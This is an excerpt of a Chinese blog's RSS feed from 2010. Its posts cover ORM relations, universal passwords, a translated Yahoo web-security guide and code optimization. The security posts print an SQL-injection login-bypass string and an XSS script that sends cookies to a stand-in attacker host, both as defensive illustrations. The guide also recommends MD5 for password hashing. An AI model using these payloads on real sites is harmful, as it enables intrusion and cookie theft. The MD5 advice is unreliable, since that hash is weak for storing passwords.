<li>一对一关系(has one)</li>
<li>一对多关系(has many)</li>
<li>多对多关系(many to many)</li>
<li>从属关系(belongs to)</li>
</ul>
<p>本文主要讨论一对一关系与从属关系的区别。</p>
<h1>一对一关系(has one)</h1>
<p>用于主表的定义中，指主表(primary table)每行记录，在从表(foreign table)中只有一行记录对应。</p>
<h1>从属关系(belongs to)</h1>
<p>用于从表的定义中，指从表(foreign table)中的每行记录，在主表(primary table)中都有一行记录对应。</p>
<h1>一对一关系(has one)与从属关系(belongs to)的注意点</h1>
<p>从定义上来看，一对一关系与从属关系貌似是一对互反的关系。但请注意以下事实：</p>
<ul>
<li>一对一关系是一对多关系的特殊情况</li>
<li>一对多关系与从属关系是互反关系</li>
<li>一张表可以设置多个一对多关系</li>
<li>一张表可以设置多个从属关系</li>
</ul>
<h1>一对一关系(has one)与从属关系(belongs to)的差别</h1>
<p>让我们用一个实例来了解这些关系。以下几张数据表组成了一个简单的博客系统：</p>
<ul>
<li>用户表(users)</li>
<li>用户资料表(user_profiles)</li>
<li>博文表(blogs)</li>
<li>博文分类表(categories)</li>
</ul>
<p>让我们来建立关系吧</p>
<ul>
<li>users
<ul>
<li>has one
<ul>
<li>user_profiles</li>
</ul>
</li>
<li>has many
<ul>
<li>blogs</li>
</ul>
</li>
</ul>
</li>
<li>user_profiles
<ul>
<li>belongs to
<ul>
<li>users</li>
</ul>
</li>
</ul>
</li>
<li>blogs
<ul>
<li>belongs to
<ul>
<li>categories</li>
<li>users</li>
</ul>
</li>
</ul>
</li>
<li>categories
<ul>
<li>has many
<ul>
<li>blogs</li>
</ul>
</li>
</ul>
</li>
</ul>
<p>现在，通过强大的ORM系统，我们可以对这几张表进行方便的操作：当读取users表时，相应记录在user_profiles的记录将被读出；当读取blogs表时，不但有其分类的信息，还有作者的信息。</p>
<p>既然has one与belongs to在读取时都能将关联表的信息提出，并且都是提出一条信息（不像has many需要用数组来存储关联记录），那两者到底有何区别呢？</p>
<p>Hackfan认为，两者的区别主要在于逻辑与删除操作的处理上。</p>
<h2>逻辑差别</h2>
<p>has one表示拥有，belongs to表示属于。因此，A has one B（或B belongs to A），A是根本，B是果实；A是皮，B是毛。有了A，才可能有B；有B，那一定会有A。两者虽然在读取操作时，有一致的逻辑，但是在删除操作上，逻辑就有所区别。</p>
<h2>删除操作处理差别</h2>
<p>假设A has one B（或B belongs to A），在删除A中记录时，应当删除B中相应的记录；在删除B中记录时，不需要删除A中相应记录。</p>
<p>比如users与user_profiles，当某个用户的帐户被删除时，帐户资料理所应当也应该被删除；而帐户资料被删除时，帐户未必需要被删除。</p>
<p>再比如blogs表。当一篇博文被删除时，其所属的分类、所属的用户，未必需要被删除。但当某个用户被删除，或者是某个分类被删除时，这篇博文<strong>往往</strong>需要被删除。</p>
<p>从以上两个案例，可以看出has one与belongs to的差别。目前许多ORM在进行关系表记录删除时，并未按照以上逻辑进行操作，也是希望将操作空间最大的留给开发者。</p>
<h1>总结</h1>
<p>慎用has one与belongs to关系定义，虽说在实际开发时区别不大，甚至可以达到一致的效果，但是两者在逻辑上的区别是十分大的。混淆使用两者将被视为对表关系概念的不理解。在复杂的数据表系统中，混淆使用两者，将会给其他开发者造成理解上的困惑。</p>
<p>同时，当更为自动化的ORM系统出现时，has one与belongs to的错用可能将在数据删除时，产生严重的错误。</p>
<p>因此，请慎用has one与belongs to关系定义。</p>
<hr />
<p><small>© Hackfan for <a href="http://jiy.hu">一客盒饭</a>, 2010. |
<a href="http://jiy.hu/belongs-to%e4%b8%8ehas-one%e7%9a%84%e5%8c%ba%e5%88%ab">ORM中，belongs to与has one的区别</a> |
<a href="http://jiy.hu/belongs-to%e4%b8%8ehas-one%e7%9a%84%e5%8c%ba%e5%88%ab#comments">无评论</a>
<br/>
标签: <a href="http://jiy.hu/tag/belongs-to" rel="tag">belongs to</a>, <a href="http://jiy.hu/tag/has-one" rel="tag">has one</a>, <a href="http://jiy.hu/tag/orm" rel="tag">ORM</a>, <a href="http://jiy.hu/tag/php" rel="tag">PHP</a>, <a href="http://jiy.hu/tag/%e4%b8%80%e5%af%b9%e4%b8%80%e5%85%b3%e7%b3%bb" rel="tag">一对一关系</a>, <a href="http://jiy.hu/tag/%e4%bb%8e%e5%b1%9e%e5%85%b3%e7%b3%bb" rel="tag">从属关系</a><br/>
</small></p>]]></content:encoded>
			<wfw:commentRss>http://jiy.hu/belongs-to%e4%b8%8ehas-one%e7%9a%84%e5%8c%ba%e5%88%ab/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>万能密码</title>
		<link>http://jiy.hu/%e4%b8%87%e8%83%bd%e5%af%86%e7%a0%81</link>
		<comments>http://jiy.hu/%e4%b8%87%e8%83%bd%e5%af%86%e7%a0%81#comments</comments>
		<pubDate>Sun, 14 Feb 2010 17:03:24 +0000</pubDate>
		<dc:creator>Hackfan</dc:creator>
				<category><![CDATA[技术]]></category>
		<category><![CDATA[Exploit]]></category>
		<category><![CDATA[SQL]]></category>
		<category><![CDATA[SQL注入]]></category>
		<category><![CDATA[万能密码]]></category>
		<category><![CDATA[开源]]></category>
		<category><![CDATA[缓冲区溢出]]></category>
		<category><![CDATA[设想]]></category>
		<category><![CDATA[默认密码]]></category>

		<guid isPermaLink="false">http://jiy.hu/?p=182</guid>
		<description><![CDATA[作者：Hackfan
什么是万能密码？
一个特定的字符串，用它能通过特定系统的验证程序，这个字符串被称为万能密码。
万能密码设置的原因
有意设置

（公开）设置万能密码以防密码丢失或遗忘
（公开）系统的默认密码
（保密）开发者有意留下后门，在必要且合法的情况下使用，以解决实际问题
（保密）开发者有意留下后门，以达到某种非法目的

无心设置

因系统、协议或编程出错等原因，无意留下的漏洞

万能密码的种类
默认密码
默认密码是系统出厂或者复位时，自动设置的固定字符串。大多数系统自带默认帐号、密码，如TP-LINK路由器的默认帐号、密码均为admin。由于系统管理员的疏忽，默认密码可能会成为万能密码。许多黑客扫描工具正是利用这一点，扫描默认密码，往往能够有一定收获。
内部密码
因某种需要，开发者为其产品留下了后门，或者是万能密码，被称为内部密码。内部密码往往是高度保密的，一旦流传出去，后果不堪设想。但由于管理不善等原因，内部密码不免泄露。泄露的内部密码将产生巨大的损失，因此许多公司和开发者已不再选择使用内部密码。
漏洞密码
黑客通过利用开发者失误所造成的漏洞，总结出了进入系统的办法，这样的办法可以被称为是“漏洞密码”。缓冲区溢出漏洞的Exploit程序，就可以被认为是一种漏洞密码。更为流行的漏洞密码是由于SQL注入漏洞引起的。黑客中流传比较广泛的“漏洞密码”应该非“&#8216; or &#8221;=&#8217;”莫属了，在登录时，将&#8216; or &#8221;=&#8217;作为登录密码，在一定情况下，能够成功登录。这就是漏洞密码的威力。
万能密码的预防
通过以上分析，我们可以得出以下几种预防万能密码的方法：

购买正规厂商的设备、软件，或使用开源产品，以规避留有后门的危险
在部署前，对源代码进行检测，以排除缓冲区溢出、注入漏洞等危险
在部署前，修改产品的默认配置，以符合部署要求
使用框架进行开发，以消除程序员产生漏洞的可能


© Hackfan for 一客盒饭, 2010. &#124;
万能密码 &#124;
2 条评论

标签: Exploit, SQL, SQL注入, 万能密码, 开源, 缓冲区溢出, 设想, 默认密码
]]></description>
			<content:encoded><![CDATA[<p>作者：Hackfan</p>
<h1>什么是万能密码？</h1>
<p>一个特定的字符串，用它能通过特定系统的验证程序，这个字符串被称为万能密码。</p>
<h1>万能密码设置的原因</h1>
<h2>有意设置</h2>
<ul>
<li>（公开）设置万能密码以防密码丢失或遗忘</li>
<li>（公开）系统的默认密码</li>
<li>（保密）开发者有意留下后门，在必要且合法的情况下使用，以解决实际问题</li>
<li>（保密）开发者有意留下后门，以达到某种非法目的</li>
</ul>
<h2>无心设置</h2>
<ul>
<li>因系统、协议或编程出错等原因，无意留下的漏洞</li>
</ul>
<h1>万能密码的种类</h1>
<h2>默认密码</h2>
<p>默认密码是系统出厂或者复位时，自动设置的固定字符串。大多数系统自带默认帐号、密码，如TP-LINK路由器的默认帐号、密码均为admin。由于系统管理员的疏忽，默认密码可能会成为万能密码。许多黑客扫描工具正是利用这一点，扫描默认密码，往往能够有一定收获。</p>
<h2>内部密码</h2>
<p>因某种需要，开发者为其产品留下了后门，或者是万能密码，被称为内部密码。内部密码往往是高度保密的，一旦流传出去，后果不堪设想。但由于管理不善等原因，内部密码不免泄露。泄露的内部密码将产生巨大的损失，因此许多公司和开发者已不再选择使用内部密码。</p>
<h2>漏洞密码</h2>
<p>黑客通过利用开发者失误所造成的漏洞，总结出了进入系统的办法，这样的办法可以被称为是“漏洞密码”。缓冲区溢出漏洞的Exploit程序，就可以被认为是一种漏洞密码。更为流行的漏洞密码是由于SQL注入漏洞引起的。黑客中流传比较广泛的“漏洞密码”应该非“<em><strong>&#8216; or &#8221;=&#8217;</strong></em>”莫属了，在登录时，将<em><strong>&#8216; or &#8221;=&#8217;</strong></em>作为登录密码，在一定情况下，能够成功登录。这就是漏洞密码的威力。</p>
<h1>万能密码的预防</h1>
<p>通过以上分析，我们可以得出以下几种预防万能密码的方法：</p>
<ul>
<li>购买正规厂商的设备、软件，或使用开源产品，以规避留有后门的危险</li>
<li>在部署前，对源代码进行检测，以排除缓冲区溢出、注入漏洞等危险</li>
<li>在部署前，修改产品的默认配置，以符合部署要求</li>
<li>使用框架进行开发，以消除程序员产生漏洞的可能</li>
</ul>
<hr />
<p><small>© Hackfan for <a href="http://jiy.hu">一客盒饭</a>, 2010. |
<a href="http://jiy.hu/%e4%b8%87%e8%83%bd%e5%af%86%e7%a0%81">万能密码</a> |
<a href="http://jiy.hu/%e4%b8%87%e8%83%bd%e5%af%86%e7%a0%81#comments">2 条评论</a>
<br/>
标签: <a href="http://jiy.hu/tag/exploit" rel="tag">Exploit</a>, <a href="http://jiy.hu/tag/sql" rel="tag">SQL</a>, <a href="http://jiy.hu/tag/sql%e6%b3%a8%e5%85%a5" rel="tag">SQL注入</a>, <a href="http://jiy.hu/tag/%e4%b8%87%e8%83%bd%e5%af%86%e7%a0%81" rel="tag">万能密码</a>, <a href="http://jiy.hu/tag/%e5%bc%80%e6%ba%90" rel="tag">开源</a>, <a href="http://jiy.hu/tag/%e7%bc%93%e5%86%b2%e5%8c%ba%e6%ba%a2%e5%87%ba" rel="tag">缓冲区溢出</a>, <a href="http://jiy.hu/tag/%e8%ae%be%e6%83%b3" rel="tag">设想</a>, <a href="http://jiy.hu/tag/%e9%bb%98%e8%ae%a4%e5%af%86%e7%a0%81" rel="tag">默认密码</a><br/>
</small></p>]]></content:encoded>
			<wfw:commentRss>http://jiy.hu/%e4%b8%87%e8%83%bd%e5%af%86%e7%a0%81/feed</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>虎年祝福</title>
		<link>http://jiy.hu/2010-bainian</link>
		<comments>http://jiy.hu/2010-bainian#comments</comments>
		<pubDate>Sat, 13 Feb 2010 12:12:35 +0000</pubDate>
		<dc:creator>Hackfan</dc:creator>
				<category><![CDATA[生活]]></category>
		<category><![CDATA[拜年]]></category>
		<category><![CDATA[胡吉阳]]></category>

		<guid isPermaLink="false">http://jiy.hu/?p=173</guid>
		<description><![CDATA[胡吉阳祝各位长辈、老师、领导、朋友、同学、同事，虎年，交虎运，享虎福。

© Hackfan for 一客盒饭, 2010. &#124;
虎年祝福 &#124;
2 条评论

标签: 拜年, 胡吉阳
]]></description>
			<content:encoded><![CDATA[<h1><strong>胡吉阳祝各位长辈、老师、领导、朋友、同学、同事，虎年，交虎运，享虎福。</strong></h1>
<hr />
<p><small>© Hackfan for <a href="http://jiy.hu">一客盒饭</a>, 2010. |
<a href="http://jiy.hu/2010-bainian">虎年祝福</a> |
<a href="http://jiy.hu/2010-bainian#comments">2 条评论</a>
<br/>
标签: <a href="http://jiy.hu/tag/%e6%8b%9c%e5%b9%b4" rel="tag">拜年</a>, <a href="http://jiy.hu/tag/%e8%83%a1%e5%90%89%e9%98%b3" rel="tag">胡吉阳</a><br/>
</small></p>]]></content:encoded>
			<wfw:commentRss>http://jiy.hu/2010-bainian/feed</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>【译】最佳安全实践——来自雅虎开发者网络</title>
		<link>http://jiy.hu/security-best-practices</link>
		<comments>http://jiy.hu/security-best-practices#comments</comments>
		<pubDate>Tue, 09 Feb 2010 03:03:13 +0000</pubDate>
		<dc:creator>Hackfan</dc:creator>
				<category><![CDATA[技术]]></category>
		<category><![CDATA[IP]]></category>
		<category><![CDATA[javascript]]></category>
		<category><![CDATA[ORM]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[SQL]]></category>
		<category><![CDATA[Yahoo]]></category>
		<category><![CDATA[伪造请求]]></category>
		<category><![CDATA[安全实践]]></category>
		<category><![CDATA[跨站]]></category>
		<category><![CDATA[跨站脚本]]></category>

		<guid isPermaLink="false">http://jiy.hu/?p=161</guid>
		<description><![CDATA[【原文】http://developer.yahoo.com/security/
【译文】http://jiy.hu/security-best-practices
【译者】Hujiy ( Hackfan )
Yahoo在处理用户个人资料安全性的问题上，十分谨慎，我们希望我们的开发者也同样如此。以下是一些指导，帮助你保护你的应用程序用户的信任。
保护你的服务器
保护你的网络
保护你的应用
防止伪造请求
防止跨站脚本
保护你的服务器
首先，确保你给系统打上了最新的安全补丁。如果你无法操作自己专用的服务器，请询问你的主机商，他们是否保持系统处于最新版。

确保你已安装了操作系统的最新安全补丁。

FreeBSD 安全
RedHat 安全更新
Debian 安全
Windows 更新


保持你的Web服务器软件处于最新版

Apache HTTP Server
Microsoft IIS


限制来自Internet的访问。通过防火墙软件来阻止除以下端口外的访问：

80 (HTTP)
443 (HTTPS &#8211; 仅当你的应用程序使用时)
22 (SSH)


使用 SSH/SCP 远程登录并上传文件。Telnet与FTP以明文的形式传输密码，黑客很容易嗅探到你的密码。
选择一个不容易被猜到的密码。黑客们常常使用“字典攻击”来猜测Web服务器的密码。选择的密码最好是大小写字母、数字、符号($#@%^&#38;*)的组合。

保护你的网络
确保暴露给Internet的所有服务都是你想让用户访问的。

将用户并不需要直接访问的服务器（如后台数据库服务器），置于Internet无法访问到的局域网中。如果做不到的话，使用防火墙软件来阻止除你的服务器以外的计算机访问后台服务器。

保护你的应用
绝大多数用户资料的丢失，与应用错误或者安全漏洞有关。以下是建立安全的Internet应用的一些基本准则：

不要存储密码明文。与之对应的，使用散列算法，如MD5或SHA-256，为用户密码建立签名并存储。验证时，只需再次应用散列算法，将用户登录的密码签名与存储的密码签名相比较即可。
如果你使用Cookies来识别用户，不要简单的将用户名存储于Cookies并以此作为验证依据。这样会让黑客很容易的猜测并构造身份。相反，可以基于登录名与密码，为每个登录用户生成一个唯一的签名，并将此签名存放于Cookies中。
在你的应用中，小心检查每个传入SQL语句的参数。未加验证的用户输入，能轻易地劫持并洗劫你的数据库。PHP的函数 mysql_real_escape_string() 能组织大多数这类的攻击。
定期清理系统中用不到的或不必要的用户数据。这将在攻击者成功控制你的系统后，在一定程度上的减少损失。

防止伪造请求
验证访问请求是从你的应用发出的。
假设你有一个程序能管理照片。程序通过一个URL来删除用户所有的照片(如“http://myapp.org/delete_photos.php”)。攻击者可以通过在他的网站上插入这个URL，如&#60;img src=&#8221;http://myapp.org/delete_photos.php&#8221; /&#62;。当你的用户访问攻击者提供的网页时，他的照片将被删除。
以下有几个方法来验证请求是从你的应用发出的：
首先，考虑你是否可以通过POST方式来代替GET方式获得请求。W3C建议当请求将修改服务器端资源或者数据时，使用POST。
在URL后增加用户特定的签名。
&#60;?php
$delete_signature = md5($username . "xyz123_delete_photos");
?&#62;

&#60;!-- 签名链接 --&#62;

&#60;a href="/delete_photos.php?signature=&#60;?php echo $delete_signature; ?&#62;'&#62;删除照片&#60;/a&#62;
在处理与用户数据相关的操作前，检查“签名”参数是否与之前指定的相同。
&#60;?php
$delete_signature = md5($username . "xyz123_delete_photos");

if ($_GET['signature'] === $delete_signature) {
// 处理删除操作
// ...
} else {
// 有问题
// ...
}
?&#62;
如果你的开发框架支持用户会话容器（如PHP），可以将带有时间戳的唯一的签名存放于会话中，并将他插入你的表单、URL中，以传递回服务器。仅当签名验证后，才进行具体操作，并增加过期验证。
&#60;?php
$_SESSION['signature'] = md5(uniqid(rand(), true) + $username);
$_SESSION['signature_timestamp'] = time();
?&#62;

&#60;!-- 签名链接 --&#62;
&#60;a [...]]]></description>
			<content:encoded><![CDATA[<p>【原文】<a href="http://developer.yahoo.com/security/">http://developer.yahoo.com/security/</a></p>
<p>【译文】<a href="http://jiy.hu/security-best-practices">http://jiy.hu/security-best-practices</a></p>
<p>【译者】Hujiy ( Hackfan )</p>
<p>Yahoo在处理用户个人资料安全性的问题上，十分谨慎，我们希望我们的开发者也同样如此。以下是一些指导，帮助你保护你的应用程序用户的信任。</p>
<li><a href="http://jiy.hu/security-best-practices#servers">保护你的服务器</a></li>
<li><a href="http://jiy.hu/security-best-practices#network">保护你的网络</a></li>
<li><a href="http://jiy.hu/security-best-practices#application">保护你的应用</a></li>
<li><a href="http://jiy.hu/security-best-practices#xsrf">防止伪造请求</a></li>
<li><a href="http://jiy.hu/security-best-practices#xss">防止跨站脚本</a></li>
<h3><a name="servers"></a>保护你的服务器</h3>
<p>首先，确保你给系统打上了最新的安全补丁。如果你无法操作自己专用的服务器，请询问你的主机商，他们是否保持系统处于最新版。</p>
<ul>
<li class="bullist">确保你已安装了操作系统的最新安全补丁。
<ul>
<li class="bullist"><a rel="nofollow" href="http://www.freebsd.org/security/" target="_blank">FreeBSD 安全</a></li>
<li class="bullist"><a rel="nofollow" href="https://www.redhat.com/security/updates/" target="_blank">RedHat 安全更新</a></li>
<li class="bullist"><a rel="nofollow" href="http://www.us.debian.org/security/" target="_blank">Debian 安全</a></li>
<li class="bullist"><a rel="nofollow" href="http://windowsupdate.microsoft.com/" target="_blank">Windows 更新</a></li>
</ul>
</li>
<li class="bullist">保持你的Web服务器软件处于最新版
<ul>
<li class="bullist"><a rel="nofollow" href="http://httpd.apache.org/security_report.html" target="_blank">Apache HTTP Server</a></li>
<li class="bullist"><a rel="nofollow" href="http://www.microsoft.com/technet/security/prodtech/iis.mspx" target="_blank">Microsoft IIS</a></li>
</ul>
</li>
<li class="bullist">限制来自Internet的访问。通过防火墙软件来阻止除以下端口外的访问：
<ul>
<li class="bullist">80 (HTTP)</li>
<li class="bullist">443 (HTTPS &#8211; 仅当你的应用程序使用时)</li>
<li class="bullist">22 (SSH)</li>
</ul>
</li>
<li class="bullist">使用 SSH/SCP 远程登录并上传文件。Telnet与FTP以明文的形式传输密码，黑客很容易嗅探到你的密码。</li>
<li class="bullist">选择一个不容易被猜到的密码。黑客们常常使用“字典攻击”来猜测Web服务器的密码。选择的密码最好是大小写字母、数字、符号($#@%^&amp;*)的组合。</li>
</ul>
<h3><a name="network"></a>保护你的网络</h3>
<p>确保暴露给Internet的所有服务都是你想让用户访问的。</p>
<ul>
<li class="bullist">将用户并不需要直接访问的服务器（如后台数据库服务器），置于Internet无法访问到的局域网中。如果做不到的话，使用防火墙软件来阻止除你的服务器以外的计算机访问后台服务器。</li>
</ul>
<h3><a name="application"></a>保护你的应用</h3>
<p>绝大多数用户资料的丢失，与应用错误或者安全漏洞有关。以下是建立安全的Internet应用的一些基本准则：</p>
<ul>
<li class="bullist">不要存储密码明文。与之对应的，使用散列算法，如MD5或SHA-256，为用户密码建立签名并存储。验证时，只需再次应用散列算法，将用户登录的密码签名与存储的密码签名相比较即可。</li>
<li class="bullist">如果你使用Cookies来识别用户，不要简单的将用户名存储于Cookies并以此作为验证依据。这样会让黑客很容易的猜测并构造身份。相反，可以基于登录名与密码，为每个登录用户生成一个唯一的签名，并将此签名存放于Cookies中。</li>
<li class="bullist">在你的应用中，小心检查每个传入SQL语句的参数。未加验证的用户输入，能轻易地劫持并洗劫你的数据库。PHP的函数 <code><a title="PHP mysql_real_escape_string() function" rel="nofollow" href="http://www.php.net/manual/en/function.mysql-real-escape-string.php" target="_blank">mysql_real_escape_string()</a></code> 能组织大多数这类的攻击。</li>
<li class="bullist">定期清理系统中用不到的或不必要的用户数据。这将在攻击者成功控制你的系统后，在一定程度上的减少损失。</li>
</ul>
<h3><a name="xsrf"></a>防止伪造请求</h3>
<p>验证访问请求是从你的应用发出的。</p>
<p>假设你有一个程序能管理照片。程序通过一个URL来删除用户所有的照片(如“http://myapp.org/delete_photos.php”)。攻击者可以通过在他的网站上插入这个URL，如&lt;img src=&#8221;http://myapp.org/delete_photos.php&#8221; /&gt;。当你的用户访问攻击者提供的网页时，他的照片将被删除。</p>
<p>以下有几个方法来验证请求是从你的应用发出的：</p>
<p>首先，考虑你是否可以通过POST方式来代替GET方式获得请求。<a href="http://www.w3.org/2001/tag/doc/whenToUseGet.html" target="_blank">W3C建议</a>当请求将修改服务器端资源或者数据时，使用POST。</p>
<p>在URL后增加用户特定的签名。</p>
<pre class="brush:php">&lt;?php
$delete_signature = md5($username . "xyz123_delete_photos");
?&gt;

&lt;!-- 签名链接 --&gt;

&lt;a href="/delete_photos.php?signature=&lt;?php echo $delete_signature; ?&gt;'&gt;删除照片&lt;/a&gt;</pre>
<p>在处理与用户数据相关的操作前，检查“签名”参数是否与之前指定的相同。</p>
<pre class="brush:php">&lt;?php
$delete_signature = md5($username . "xyz123_delete_photos");

if ($_GET['signature'] === $delete_signature) {
// 处理删除操作
// ...
} else {
// 有问题
// ...
}
?&gt;</pre>
<p>如果你的开发框架支持用户会话容器（如PHP），可以将带有时间戳的唯一的签名存放于会话中，并将他插入你的表单、URL中，以传递回服务器。仅当签名验证后，才进行具体操作，并增加过期验证。</p>
<pre class="brush:php">&lt;?php
$_SESSION['signature'] = md5(uniqid(rand(), true) + $username);
$_SESSION['signature_timestamp'] = time();
?&gt;

&lt;!-- 签名链接 --&gt;
&lt;a href="/delete_photos.php?signature=&lt;?php echo $_SESSION['signature']; ?&gt;'&gt;删除照片&lt;/a&gt;

&lt;!-- 签名表单 --&gt;
&lt;form method="POST' action="/edit_photos.php'&gt;
&lt;input type="hidden' name="signature' value="&lt;?php echo $_SESSION['signature']; ?&gt;'/&gt;

&lt;input type="text' name="search"/&gt;
&lt;input type="提交" /&gt;
&lt;/form&gt;</pre>
<h3><a name="xss"></a>防止跨站脚本</h3>
<p>当你将某个用户的输入显示给其他用户时，你需确保该用户的输入不会窃取其他用户的资料。</p>
<p>举例来说，如果你有一个留言板功能，用户可以留言或查看其他人的留言，攻击者也许会留下如下留言：</p>
<pre class="brush:javascript">
大家好！&lt;script&gt;document.write("&lt;img src="http://evilhacker.org/?" + document.cookie + "'&gt;);&lt;/script&gt;
</pre>
<p>以上代码会将查看此留言的用户Cookies发送到攻击者的网络。为了防止这类攻击，根据规则检查用户所有的输入。使用白名单（“仅能使用白名单中的字符”）来过滤用户输入。在很多情况下，字符&lt;和&gt;需要被过滤掉。</p>
<hr />
<p><small>© Hackfan for <a href="http://jiy.hu">一客盒饭</a>, 2010. |
<a href="http://jiy.hu/security-best-practices">【译】最佳安全实践——来自雅虎开发者网络</a> |
<a href="http://jiy.hu/security-best-practices#comments">仅1条评论</a>
<br/>
标签: <a href="http://jiy.hu/tag/ip" rel="tag">IP</a>, <a href="http://jiy.hu/tag/javascript" rel="tag">javascript</a>, <a href="http://jiy.hu/tag/orm" rel="tag">ORM</a>, <a href="http://jiy.hu/tag/php" rel="tag">PHP</a>, <a href="http://jiy.hu/tag/sql" rel="tag">SQL</a>, <a href="http://jiy.hu/tag/yahoo" rel="tag">Yahoo</a>, <a href="http://jiy.hu/tag/%e4%bc%aa%e9%80%a0%e8%af%b7%e6%b1%82" rel="tag">伪造请求</a>, <a href="http://jiy.hu/tag/%e5%ae%89%e5%85%a8%e5%ae%9e%e8%b7%b5" rel="tag">安全实践</a>, <a href="http://jiy.hu/tag/%e8%b7%a8%e7%ab%99" rel="tag">跨站</a>, <a href="http://jiy.hu/tag/%e8%b7%a8%e7%ab%99%e8%84%9a%e6%9c%ac" rel="tag">跨站脚本</a><br/>
</small></p>]]></content:encoded>
			<wfw:commentRss>http://jiy.hu/security-best-practices/feed</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>代码优化之我见</title>
		<link>http://jiy.hu/code-optimizer</link>
		<comments>http://jiy.hu/code-optimizer#comments</comments>
		<pubDate>Sun, 07 Feb 2010 17:40:36 +0000</pubDate>
		<dc:creator>Hackfan</dc:creator>
				<category><![CDATA[技术]]></category>
		<category><![CDATA[代码优化]]></category>
		<category><![CDATA[代码结构]]></category>
		<category><![CDATA[架构]]></category>
		<category><![CDATA[程序逻辑]]></category>

		<guid isPermaLink="false">http://jiy.hu/?p=157</guid>
		<description><![CDATA[　　适当的代码优化应该或可以

减少程序行数
减少复杂逻辑
增加可读性
加快运行速度
优化程序结构
加速排错过程
方便代码复用

　　但是适当的代码优化需要

经验
责任心
动脑子
思考时间

　　某些程序员甚至是项目经理，经常以“项目时间紧”、“先实现功能为主”为由，无视代码优化，甚至把代码优化当做项目实施的绊脚石、眼中钉。我认为可能的原因：

没意识
没能力
懒惰

　　代码优化注重程序员的架构能力，而非实现能力。有些程序员在数据结构、数据库上的设计，就决定了其代码结构的混乱以及相应实现的糟糕。因此，项目的设计和架构必须由有经验的架构师或工程师来执掌。
　　由于设计失败而代码结构糟糕的例子不甚枚举，有机会我会放出几个案例，给大家参考。

© Hackfan for 一客盒饭, 2010. &#124;
代码优化之我见 &#124;
3 条评论

标签: 代码优化, 代码结构, 架构, 程序逻辑
]]></description>
			<content:encoded><![CDATA[<p>　　适当的代码优化应该或可以</p>
<ul>
<li>减少程序行数</li>
<li>减少复杂逻辑</li>
<li>增加可读性</li>
<li>加快运行速度</li>
<li>优化程序结构</li>
<li>加速排错过程</li>
<li>方便代码复用</li>
</ul>
<p>　　但是适当的代码优化需要</p>
<ul>
<li>经验</li>
<li>责任心</li>
<li>动脑子</li>
<li>思考时间</li>
</ul>
<p>　　某些程序员甚至是项目经理，经常以“项目时间紧”、“先实现功能为主”为由，无视代码优化，甚至把代码优化当做项目实施的绊脚石、眼中钉。我认为可能的原因：</p>
<ul>
<li>没意识</li>
<li>没能力</li>
<li>懒惰</li>
</ul>
<p>　　代码优化注重程序员的架构能力，而非实现能力。有些程序员在数据结构、数据库上的设计，就决定了其代码结构的混乱以及相应实现的糟糕。因此，项目的设计和架构必须由有经验的架构师或工程师来执掌。</p>
<p>　　由于设计失败而代码结构糟糕的例子不甚枚举，有机会我会放出几个案例，给大家参考。</p>
<hr />
<p><small>© Hackfan for <a href="http://jiy.hu">一客盒饭</a>, 2010. |
<a href="http://jiy.hu/code-optimizer">代码优化之我见</a> |
<a href="http://jiy.hu/code-optimizer#comments">3 条评论</a>
<br/>
标签: <a href="http://jiy.hu/tag/%e4%bb%a3%e7%a0%81%e4%bc%98%e5%8c%96" rel="tag">代码优化</a>, <a href="http://jiy.hu/tag/%e4%bb%a3%e7%a0%81%e7%bb%93%e6%9e%84" rel="tag">代码结构</a>, <a href="http://jiy.hu/tag/%e6%9e%b6%e6%9e%84" rel="tag">架构</a>, <a href="http://jiy.hu/tag/%e7%a8%8b%e5%ba%8f%e9%80%bb%e8%be%91" rel="tag">程序逻辑</a><br/>
</small></p>]]></content:encoded>
			<wfw:commentRss>http://jiy.hu/code-optimizer/feed</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>代码优化之分页输出</title>
		<link>http://jiy.hu/code-optimizer-pagination</link>
		<comments>http://jiy.hu/code-optimizer-pagination#comments</comments>
		<pubDate>Sun, 07 Feb 2010 17:34:56 +0000</pubDate>
		<dc:creator>Hackfan</dc:creator>
				<category><![CDATA[技术]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[SQL]]></category>
		<category><![CDATA[代码优化]]></category>
		<category><![CDATA[代码结构]]></category>
		<category><![CDATA[分页]]></category>
		<category><![CDATA[架构]]></category>
		<category><![CDATA[结构设计]]></category>

		<guid isPermaLink="false">http://jiy.hu/?p=151</guid>
		<description><![CDATA[　　分页代码是PHPer接触的最多的代码之一。很多PHPer都自行实现过分页程序，或者用过相关的分页函数。
分页函数
　　首先回顾一下分页函数的输入与输出。我们拿一个较简单的模型来做说明。
　　函数输入：


记录总数
每页记录数
当前页数


　　函数输出


偏移量$offset、记录数$limit（在MySQL中执行LIMIT $limit OFFSET $offset）
总页数$total_pages
上一页$previous_page
当前页$current_page
下一页$next_page


分页导航栏
 　　今天，我让一同事根据以上效果，开发一个分页导航，满足以下要求：


显示离当前页最近的5页，包括当前页
不足5页时，尽可能多的显示



　　举个几个例子：

总页数为５，当前页为１～５任意一页，分页导航显示：１　２　３　４　５
总页数为６，当前页为５，分页导航显示：２　３　４　５　６
总页数为１００，当前页为５０，分页导航显示：４８　４９　５０　５１　５２

　　同事看了这个要求，立马写了以下代码：
&#60;?php if ($total_pages &#60;= 5) :?&#62;
    &#60;?php for($i=1; $i&#60;=$total_pages; $i++) :?&#62;
        &#60;?php if($i == $current_page) :?&#62;
            &#60;a class='selected'&#62;&#60;?php echo $i; ?&#62;&#60;/a&#62;&#38;nbsp;
        &#60;?php else :?&#62;
            &#60;a href="&#60;?php echo $page-&#62;url($i); ?&#62;"&#62;&#60;?php echo $i; ?&#62;&#60;/a&#62;&#38;nbsp;
        &#60;?php endif;?&#62;
    &#60;?php endfor;?&#62;
&#60;?php else :?&#62;
    &#60;?php if($current_page &#60;= 3) :?&#62;
        &#60;?php for($i=1; $i&#60;=5; $i++) :?&#62;
            &#60;?php if($i == $current_page) [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://jiy.hu/wp-content/uploads/2010/02/pagination.jpg"></a>　　分页代码是PHPer接触的最多的代码之一。很多PHPer都自行实现过分页程序，或者用过相关的分页函数。</p>
